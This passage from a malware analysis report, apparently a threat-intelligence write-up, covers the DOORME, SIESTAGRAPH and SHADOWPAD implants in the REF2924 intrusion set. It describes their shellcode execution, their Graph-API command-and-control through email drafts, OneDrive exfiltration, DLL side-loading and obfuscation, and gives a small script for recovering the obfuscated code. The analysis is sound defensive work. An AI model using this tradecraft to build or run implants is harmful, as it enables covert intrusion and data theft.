The first command implemented has the ID 0x42 and generates a Globally Unique Identifier (GUID) by calling the API CoCreateGuid. Used to identify the infected machine, this helps to track infected machines and allows the attacker to focus on specific high-value environments.

Command ID 0x43

Another command, ID 0x43 , is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process. This functionality is achieved by utilizing the Windows native functions NtAllocateVirtualMemory and NtCreateThreadEx.

The NtAllocateVirtualMemory function is used to allocate memory in the same process for shellcode, while the NtCreateThreadEx function creates an execution thread with shellcode in that newly-allocated memory.

Command ID 0x63

Command ID 0x63 allows the attacker to send a blob of shellcode in chunks, which the malware reassembles to execute. It works by sending this command ID with a shellcode chunk as a parameter. Implants can detect that the shellcode has been fully received when the server communicates a different shellcode size than expected. This approach allows the malware to handle large shellcode objects with minimal validation.

Command ID 0x44

Command ID 0x44 provides a means of interacting with the shellcode being executed on the infected system. The attacker can send input to the shellcode and retrieve its output via a named pipe. This allows the attacker to control the execution of the shellcode and receive feedback, which may help to capture the output of tools deployed in the environment via the DOORME implant.

DOORME Summary

In summary, DOORME provides a dangerous capability allowing attackers to gain unauthorized access to the internal network of victims through an internet-facing IIS web server. It includes multiple obfuscation techniques to evade detection, as well as the ability to execute additional malware and tools. Malware authors are increasingly leveraging IIS as covert backdoors that hide deep within the system. To protect against these threats, it is important to continuously monitor IIS servers for any suspicious activity, processes spawned from the IIS worker process ( w3wp.exe ), and the creation of new executables.

SIESTAGRAPH code analysis

Introduction to the SIESTAGRAPH implant

The implant utilizes the Microsoft Graph API to access Microsoft 365 Mail and OneDrive for its C2 communication. It uses a predetermined tenant identifier and a refresh token to obtain access tokens. The implant uses the legitimate OneDriveAPI library which simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. The implant leverages sleep timers in multiple locations as a defense evasion technique. This led to the implant’s name: SIESTAGRAPH.

Execution flow

SIESTAGRAPH starts and enters its main function which will set up the needed parameters to access Microsoft GraphAPI by requesting an access token based on a hard coded refresh token.

![Initial setup of SIESTAGRAPH](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg

During the setup phase the malware uses the Microsoft Office GUID ( d3590ed6-52b3-4102-aeff-aad2292ab01c ). This is needed to supply access to both Microsoft 365 Mail and OneDrive.

Authentication

The SIESTAGRAPH author utilized a pre-determined tenant identifier and a refresh token to obtain access tokens. Both of these elements are essential in making a request for an access token. It is important to note that access tokens possess a limited lifespan, however, the refresh token can be utilized to request new access tokens as necessary.

To facilitate this process, the attacker utilized a third-party and legitimate library named OneDriveAPI. This library simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. It should be noted that although third-party libraries such as OneDriveAPI can provide a convenient way to interact with APIs, they should not be considered to be malicious.

The malware utilizes the GetAccessTokenFromRefreshToken method to request an authentication token. This token is then used in all subsequent API requests.

Refresh tokens have a 90-day expiration window. So while the access token was being used by the Graph API for C2, the refresh token, which is needed to generate new access tokens, was not used within the expiration window. The refresh token was generated on 2022-11-01T03:03:44.3138133Z and expired on 2023-01-30T03:03:44.3138133Z. This means that a new refresh token will be needed before a new access token can be generated. As the refresh token is hard coded into the malware, we can expect SIESTAGRAPH to be updated with a new refresh token if it is intended to be used in the future.

Command and control

A session token ( sessionToken ) is created by concatenating the process ID, machine name, username, and operating system. The session token is later used to retrieve commands intended for this specific implant.

After obtaining authentication and session tokens, the malware collects system information and exfiltrates it using a method called sendSession.

Inspecting the sendSession method we see that it creates an email message and saves it as a draft. Using draft messages is common C2 tradecraft as a way to avoid email interception and inspection.

After sending the session information to the attacker, the implant enters a loop in which it will check for new commands. By default, this beaconing interval is every 5 seconds, however, this can be adjusted by the attacker at any time.

When receiving a command, the implant will use the getMessages method to check for any draft emails with commands from the attacker.

With every call that contacts the Graph API, SIESTAGRAPH will receive the current authentication token ( authToken ). This token is then used in the HTTP request header following the Authorization: Bearer ( “Authorization”, “Bearer “ + authToken ).

Every call to this method will contain the sessionToken , a command, and command arguments, separated with colons ( : ) ( <sessionToken>:<Command>:<command arguments> ).

If a command has multiple arguments they will be split by a pipe ( | ). An example of this is the rename command where the source and destination names are split by a pipe.

We have identified the following commands:

Several commands are self-explanatory ( ListDrives , Rename , etc.), however the run commands, update sleep timer, upload and download files, and take screenshots are more interesting and can provide a better understanding of the capabilities of SIESTAGRAPH.

C - run command

When the C command is received the malware runs the runCommand method. This method takes in the name of cmd.exe , the command line to run, and the number of milliseconds to wait for the new process to exit.

If the command parameter is not null or empty, the method proceeds to create a new instance of the System.Diagnostics.Process class, which is used to start and interact with a new process. It sets the properties of the process instance's StartInfo property, which is of the ProcessStartInfo class, such as the FileName property to the cmd parameter passed to the method, the Arguments property to /c concatenated with the command parameter, and also sets UseShellExecute , RedirectStandardInput , RedirectStandardOutput , RedirectStandardError, and CreateNoWindow property. As this method is only called with the hard coded value of cmd for the cmd parameter, the resulting command will always be cmd /c <command to run>. This is a common way to run commands if one does not have direct access to an interactive shell.

![The runCommand method](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg

N - Sleep timer update

The sleep command is a single instruction. If the argument for the command is larger than 1000, the value for the SleepTimer variable is updated. This variable is later used to determine how long the process will sleep in between check-ins.

D - Upload to OneDrive

The D command is issued from the attacker’s perspective, so while they’re “downloading” from OneDrive, the host is “uploading” to OneDrive

The method receives a filePath , and the authentication and session tokens. It will then upload the requested file to OneDrive. If the file is successfully uploaded, a response message is sent to the attacker using the format OK|C:\foo\file.txt.

If the upload did not succeed the attacker will receive the error message OK|<Error message>.

While this method might seem simple it helps to avoid detection by using common libraries while achieving the goal of exfiltrating data from the victim. While unconfirmed, this could be how the exported Exchange mailboxes were collected by the threat actor.

U - Download from OneDrive

The download function is similar to the upload function. Again, from the attacker's perspective, the U command stands for upload. As the file is downloaded from OneDrive by the implant, but uploaded by the attacker.

NET - Gather network information

The NET command will gather network information and send it back to the attacker. In order to gather the information the binary first resolves two functions from the DLLs, Ws2_32.dll (the Windows socket API) and iphlpapi.dll (the Windows IP helper API).

The NET command gathers information about open TCP connections from the system's TCP table. It then loops over all open connections and stores the information in an array that is sent back to the attacker. This code helps the attacker to get a better insight into the system's purpose within the network. As an example, if there are open connections for ports 587, 993, and 995, the host could be a Microsoft Exchange server.

SS - Take screenshot

To see the victim's desktop, SIESTAGRAPH can call the method named TakeScreenShot which takes a screenshot of the primary monitor and returns the screenshot as a Base64 encoded string.

This function creates a new Bitmap object with the width and height of the primary screen's bounds. Then it creates a new Graphics object from the Bitmap object and uses the CopyFromScreen function to take a screenshot and copy it to the Graphics object.

It then creates a new MemoryStream object and uses the Save method of the Bitmap object to save the screenshot as a PNG image into the memory stream. The image in the memory stream is then converted to a Base64 encoded string using the Convert.ToBase64String method. The resulting Base64 string is then sent back to the attacker by saving it as an email draft.

SIESTAGRAPH Summary

SIESTAGRAPH is a purpose-built and full-featured implant that acts as a proxy for the threat actor. What makes SIESTAGRAPH more than a generic implant is that it uses legitimate and common, but adversary-controlled, infrastructure to deliver remote capabilities on the infected host.

SHADOWPAD loader code analysis

Introduction to log.dll

When Elastic Security Labs disclosed REF2924 in December of 2022, we observed an unknown DLL. We have since collected and analyzed the DLL, concluding it is a loader for the SHADOWPAD malware family.

The DLL, log.dll , was observed on two Domain Controllers and was being side-loaded by an 11-year-old version of the Bitdefender Crash Handler (compiled name: BDReinit.exe ), named 13802 AR.exe (in our example). Once executed, SHADOWPAD copies itself to **C:\ProgramData\OfficeDriver** as svchost.exe before installing itself as a service. Once log.dll is loaded, it will spawn Microsoft Windows Media Player ( wmplayer.exe ) and **dllhost.exe,** injecting into them which triggers a memory shellcode detection for Elastic Defend.

At runtime, log.dll looks for the log.dll.dat file which contains the shellcode to be executed. Then log.dll will encrypt and store the shellcode in the registry and shred the original log.dll.dat file. If the file doesn’t exist it will skip this part.

Then the sample will load the shellcode from the registry, RWX map it, and execute it from memory. If the registry key doesn’t exist the sample will crash.

Execution flow

Our version of the SHADOWPAD DLL expects to be sideloaded by an 11-year-old and vulnerable version of the BitDefender BDReinit.exe binary. The offset to the trampoline (jump instructions) in the vulnerable application is hard coded which means that the sample is tailored for this exact version of BitDefender’s binary ( 386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd ). This side-loading behavior was previously reported by Positive Technologies.

For our analysis, we patched log.dll to execute without the BitDefender sideloading requirement.

Capabilities

Obfuscation

The log.dll uses two lure functions to bypass automatic analysis.

We define lure functions as benign and not related to malware capabilities, but intended to evade defenses, obfuscate the true capabilities of the malware, and frustrate analysis. They may trick time-constrained sandbox analysis by showcasing benign behavior while exhausting the analysis interval of the sandbox.

log.dll incorporates a code-scattering obfuscation technique to frustrate static analysis, however, this doesn't protect the binary from dynamic analysis.

This technique involves fragmenting the code into gadgets and distributing those gadgets throughout the binary. Each gadget is implemented as a single instruction followed by a call to a “resolver” function.

The resolver function of each call resolves the address of the next gadget and passes execution.

The obfuscation pattern is simple and a trace can be used to recover the original instructions:

**result = []
for i, x in enumerate(trace):
 if "ret" in x:
 result.append(trace[i + 1])**

API loading

The sample uses the common Ldr crawling technique to find the address of kernel32.dll.